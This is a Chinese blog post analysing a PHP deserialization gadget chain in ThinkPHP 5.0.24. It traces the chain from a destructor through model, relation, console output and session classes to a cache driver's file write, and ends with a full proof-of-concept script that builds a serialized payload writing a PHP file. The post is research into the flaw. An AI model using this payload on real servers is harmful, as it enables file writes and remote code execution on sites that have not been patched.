Learning Man's Blog

Thinkphp 5.0.x 反序列化简析

字数统计: 1.3k阅读时长: 5 min
2020/02/26 Share

由于某些原因学习了下相关内容,以此做下笔记

  • TP 5.0.24 & PHP 5.6.40

修改application/index/controller/Index.php内容

<?php
namespace app\index\controller;

highlight_file(__FILE__);

class Index
{
    public function index($input='')
    {
        echo "Welcome thinkphp 5.0.24";
        echo $input;
        unserialize($input);
    }
}

简析

__destruct

这里和5.1.37那篇文章开头有点像,只有\think\process\pipes\Windows::__destruct中多使用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()

-w871

利用点

可以看到 Collection、Model 是调用了其下的 toJson 方法

-w725

\think\Collection::toArray中,可以看到也是需要利用 Model 类

-w574

所以我们直接看\think\Model::toArray即可,在追加属性阶段,有三个地方可能能利用__call

  1. 需要控制传入 name 来控制 key 及 attr,同时目标 __call 能解析数组参数
  2. 需要目标类下 __call 或 getBindAttr 有良好的利用条件
  3. 需要控制传入 attr,同时目标类下 __call 有良好的利用条件

-w823

文章中利用第三个点,继续分析

如何到达利用点

想要到达利用点,需要我们梳理中间的逻辑流程

  1. $this->append不为空
  2. $name不为数组,不存在.,且为当前类中方法名
  3. 通过$this->$$name()控制$modelRelation从而控制参数$attr,可以看到getError是最合适的
    -w311
  4. 通过$this->getRelationData控制目标类$value

同时为了方便控制目标类$value,在 getRelationData 时尽量控制第一个 if 逻辑直接返回$this->parent
-w1024

Gadget

现在我们首先需要确定目标类,参数类

modelRelation

根据上面 getRelationData 中的逻辑判断,需要控制

  1. $modelRelation->isSelfRelation == false
  2. $modelRelation->getModel == 目标类

注意还需要3. $modelRelation->getBindAttr()可控

根据第一个条件,我们查询继承 Relation 的类,同时由于 Relation 实现了 getModel 方法并可控,忽略第二个条件

-w419

根据第三个条件,可以看到只有\think\model\relation\OneToOne::getBindAttr实现,其他的类既没有自身实现,同时也没有被继承实现

-w369

但由于它本身是一个接口类,我们需要利用其子类BelongsToHasOne

-w401


有人会说:可否利用 else 中的逻辑判断控制返回值?

通过搜寻,发现可以创建一个 Model 专门用于返回目标类,但是注意由于Model没有实现getBindAttr不满足条件三,且子类均也未实现此方法,所以是不可行的;而其他的类在控制返回目标类时候就很累了

-w703

目标类

现在我们能确定modelRelation后,我们现在需要做的是找到一个目标类,再确定如何进一步利用,通过搜寻__call,粗略看到疑似能利用的有RequestOutput

-w703

但实际上,在5.0.24版本中,\think\Request::__callself::$hook是无法利用的

-w727

所以能利用的只有 Output,由于传入的$mothod=='getAttr',所以这里利用 block 函数较好

-w725

而在block 函数中,可以看到最终会调用$this->handle下的 write 函数

-w669

write 利用

我们全局搜索下 write 函数的实现,同时注意到PHP 会自动忽略传输中多出来的参数

疑似可利用的类有三个,实现上都是$this->handler->set(...)

-w895

所以我们还要全局搜索下 set 函数的实现,以下两个类最终都实现了file_put_contents写文件

-w886

但是注意到\think\cache\driver\Lite::set中写入时被嵌入在 php 环境中且被引号包裹,无法实现利用

-w814
-w809

所以能利用的也只有\think\cache\driver\File::set

-w750

另外注意到,其实不是一次性调用set -> file_put_contents实现的写入,而是在$this->setTagItem中由没有缓存,导致将 filename 作为新的内容进行二次写入

-w560

POP Chain

直接上人家的图,文章链接在参考资料中

POC

文件名生成规则

$this->tag = 'sari3l'
print('<?cuc cucvasb();?>' . md5('tag_' . md5($this->tag)));

POC

<?php
namespace think\cache\driver;
class File{
    protected $options = [
        'expire' => 3600,
        'cache_subdir' => false,
        'prefix' => '',
//        'path' => './sari3l/',
        'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',
        'data_compress' => false,
    ];
    protected $tag='sari3l';
}

namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler;

    function __construct()
    {
        $this->handler = new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;
    protected $styles;

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ['getAttr'];
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;

    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne {
    protected $query;
    protected $bindAttr = [];

    public function __construct()
    {
        $this->query = new Query();
        $this->bindAttr = ["sari3l" => "test"];
    }
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;

    public function __construct()
    {
        $this->append = ["sari3l" => "getError"];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

echo urlencode(serialize(new Windows()));

注意

parent 修饰词

不同 TP 版本中,对于$parent修饰词不同,所以初始化覆盖时需要注意以子类为主

-w1041

filename

既然要出现<当然是只能 Linux 环境了

参考资料

  1. ThinkPHP v5.0.x 反序列化利用链挖掘
CATALOG
  1. 1. 简析
    1. 1.1. __destruct
    2. 1.2. 利用点
    3. 1.3. 如何到达利用点
    4. 1.4. Gadget
      1. 1.4.1. modelRelation
      2. 1.4.2. 目标类
      3. 1.4.3. write 利用
  2. 2. POP Chain
  3. 3. POC
  4. 4. 注意
    1. 4.1. parent 修饰词
    2. 4.2. filename
  5. 5. 参考资料